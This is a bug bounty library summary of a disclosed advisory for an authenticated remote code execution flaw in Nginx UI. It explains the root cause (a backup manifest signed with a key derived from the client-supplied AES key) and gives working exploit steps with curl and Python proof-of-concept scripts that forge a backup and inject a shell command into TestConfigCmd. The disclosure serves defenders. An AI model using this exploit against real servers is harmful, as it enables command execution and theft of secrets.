# Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

Authenticated nginx-ui user uploads forged encrypted backup via /api/restore, overwrites app.ini TestConfigCmd, then triggers shell command execution via /api/nginx/test.

- Payout: Research
- Severity: critical
- Program: Nginx UI
- Found by: mamdouhmahfouz
- Disclosed: 2026-10-09
- CVE: CVE-2026-107806
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-p393-cf76-4jmr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p393-cf76-4jmr
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** POST /api/restore backup restore endpoint and nginx command settings
**Root cause:** The restore handler accepts attacker-supplied backup key material, derives the manifest signing key from that same supplied AES key, and copies restored app.ini into the live config path, allowing protected nginx command settings to be overwritten.
**Steps:**
1. GET `/api/backup` with `Authorization: $TOKEN`; read `X-Backup-Security` header as `KEY_B64:IV_B64`
2. Unzip backup, decrypt `nginx-ui.zip` with `openssl enc -d -aes-256-cbc -K $KEY_HEX -iv $IV_HEX -nosalt`, unzip inner
3. Inject `TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce` into `[nginx]` section of app.ini
4. Re-zip inner, re-encrypt with same key/iv, recompute manifest sha256/size and `manifest.sig` = HMAC-SHA256 with `sha256(b"nginx-ui-backup-signing-v1:"+key)`
5. POST `/api/restore` with `restore_nginx_ui=true`, `verify_hash=true`, `security_token=$SEC`, `backup_file=@malicious-restore.zip`
6. POST `/api/nginx/test` to trigger TestConfigCmd; verify `cat /tmp/nginx-ui-restore-rce`
**How found:** Code review of the restore path: noticed manifest signing key is derived from the client-supplied AES key, so the attacker can re-sign a forged backup; then traced restored app.ini into live config and nginx command settings into shell-backed execution.
**Exploitation:** Any authenticated user obtains a backup plus its AES key/IV from the X-Backup-Security header, forges a backup whose manifest is signed with the key derived from that same attacker-known AES key, restores it to overwrite app.ini with a malicious TestConfigCmd, then calls /api/nginx/test to execute the command in the nginx-ui runtime context.
**Escalation:** Restore also overwrites database state and secrets (node/JWT secrets), enabling further compromise beyond command execution.
**Insight:** When a backup format ships its own key material to the client (X-Backup-Security), the integrity signature is worthless if derived from that same key — forge the manifest and any 'protected' config field becomes writable; look for config fields later passed to shell.

## Proof of concept (copied exactly from the original report)

**Forged backup restore request with attacker security_token**

```
curl -sS -X POST "$BASE/api/restore" \
  -H "Authorization: $TOKEN" \
  -F "restore_nginx=false" \
  -F "restore_nginx_ui=true" \
  -F "verify_hash=true" \
  -F "security_token=$SEC" \
  -F "backup_file=@$TMP/malicious-restore.zip"
```

**Python script injecting TestConfigCmd into app.ini**

```
python3 - "$TMP/inner/app.ini" <<'PY'
from pathlib import Path
import sys

p = Path(sys.argv[1])
cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce"
lines = p.read_text().splitlines()
out = []
in_nginx = False
seen_nginx = False
written = False

for line in lines:
    s = line.strip()
    if s.startswith("[") and s.endswith("]"):
        if in_nginx and not written:
            out.append(cmd)
            written = True
        in_nginx = s.lower() == "[nginx]"
        seen_nginx = seen_nginx or in_nginx
    if in_nginx and s.startswith("TestConfigCmd"):
        if not written:
            out.append(cmd)
            written = True
        continue
    out.append(line)

if in_nginx and not written:
    out.append(cmd)
elif not seen_nginx:
    out.extend(["", "[nginx]", cmd])

p.write_text("\n".join(out) + "\n")
PY
```

**Manifest re-signing with key derived from supplied AES key**

```
OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY'
from pathlib import Path
import base64
import hashlib
import hmac
import json
import os

outer = Path(os.environ["OUTER"])
key = base64.b64decode(os.environ["KEY_B64"])
manifest = json.loads((outer / "manifest.json").read_text())

for entry in manifest["files"]:
    data = (outer / entry["name"]).read_bytes()
    entry["sha256"] = hashlib.sha256(data).hexdigest()
    entry["size"] = len(data)

manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"])
manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode()
(outer / "manifest.json").write_bytes(manifest_bytes)

signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest()
(outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest())
PY
```

